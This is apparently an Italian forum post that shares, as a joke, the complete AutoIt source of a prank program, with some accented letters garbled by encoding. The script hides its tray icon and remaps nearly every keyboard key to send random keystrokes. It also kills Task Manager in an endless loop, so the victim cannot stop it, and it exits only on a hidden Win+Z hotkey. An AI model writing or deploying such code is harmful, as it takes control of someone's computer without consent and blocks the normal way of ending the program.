*-Emax-* |
|
| Vi presento il nuovissimo programma! Che č una grandissima cavolata vi lascio il source xD CODICE #NoTrayIcon
MsgBox(64,"Attenzione","Questo pc č ubriaco!!, tutta la tastiera diventerą mungoloide! xD",10)
$key = "q|w|e|r|t|y|u|i|o|p|a|s|d|f|g|h|j|k|l|z|x|c|v|b|n|m|,|.|-|0|1|2|3|4|5|6|7|8|9|*|/|\|!|£|$|%|&|/|(|)|=|?|@|#|[|]|{Enter}|{F1}|{F2}|{f3}|{f4}|{f5}|{f6}|{f7}|{f8}|{f9}|{f10}|{f11}|{f12}|{ins}|{del}|{!}"
$key = StringSplit($key,"|")
HotKeySet("#z","_Exit")
Func _Exit()
Exit
EndFunc
For $count = 1 To $key[0]
HotKeySet($key[$count],"RandomKey")
Next
While 1
Sleep(100)
ProcessClose("taskmgr.exe")
WEnd
Func RandomKey()
For $count = 1 To $key[0]
HotKeySet($key[$count])
Next
While 1
$c_key = $key[Random(1,$key[0])]
If StringInStr($c_key,"{") = 0 Then ExitLoop
WEnd
Send($c_key)
For $count = 1 To $key[0]
HotKeySet($key[$count],"RandomKey")
Next
EndFunc |
| | |
